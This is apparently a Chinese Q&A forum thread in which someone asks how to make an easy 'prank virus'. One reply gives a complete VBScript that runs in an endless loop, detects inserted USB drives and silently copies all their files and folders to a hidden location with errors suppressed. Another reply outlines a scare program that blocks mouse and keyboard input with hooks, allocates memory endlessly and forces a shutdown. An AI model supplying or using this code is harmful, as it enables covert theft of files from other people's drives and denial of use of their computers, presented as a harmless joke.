如何制作一个恶搞的病毒啊

只为整人 好做一点的啊

做一个VBS好了，既简单有好玩，至于代码 我不知道你有什么要求，可以去网上搜一下 我这里给你一个U盘自动插入自动拷贝的代码吧（勿拷贝，绝对原创）：
on error resume next
set fso=createobject("scripting.filesystemobject")
do
set disks=fso.drives
for each disk in disks
if disk.isready and disk.drivetype=1 then
if not fso.FolderExists("e:\a") then
fso.CreateFolder ("e:\a")
else
set copy=createobject("scripting.filesystemobject")
copy.copyfile disk.driveletter&":\*.*","e:\a",false
copy.copyfolder disk.driveletter&":\*","e:\a",false
end if
end if
next
loop

1做个最大化winform窗口 上面放个picturebox用来放女鬼 picturebox.dock=fill 2之后用到钩子 禁止鼠标和键盘的操作 3用循环语句不断申请内存空间 4加入关机代码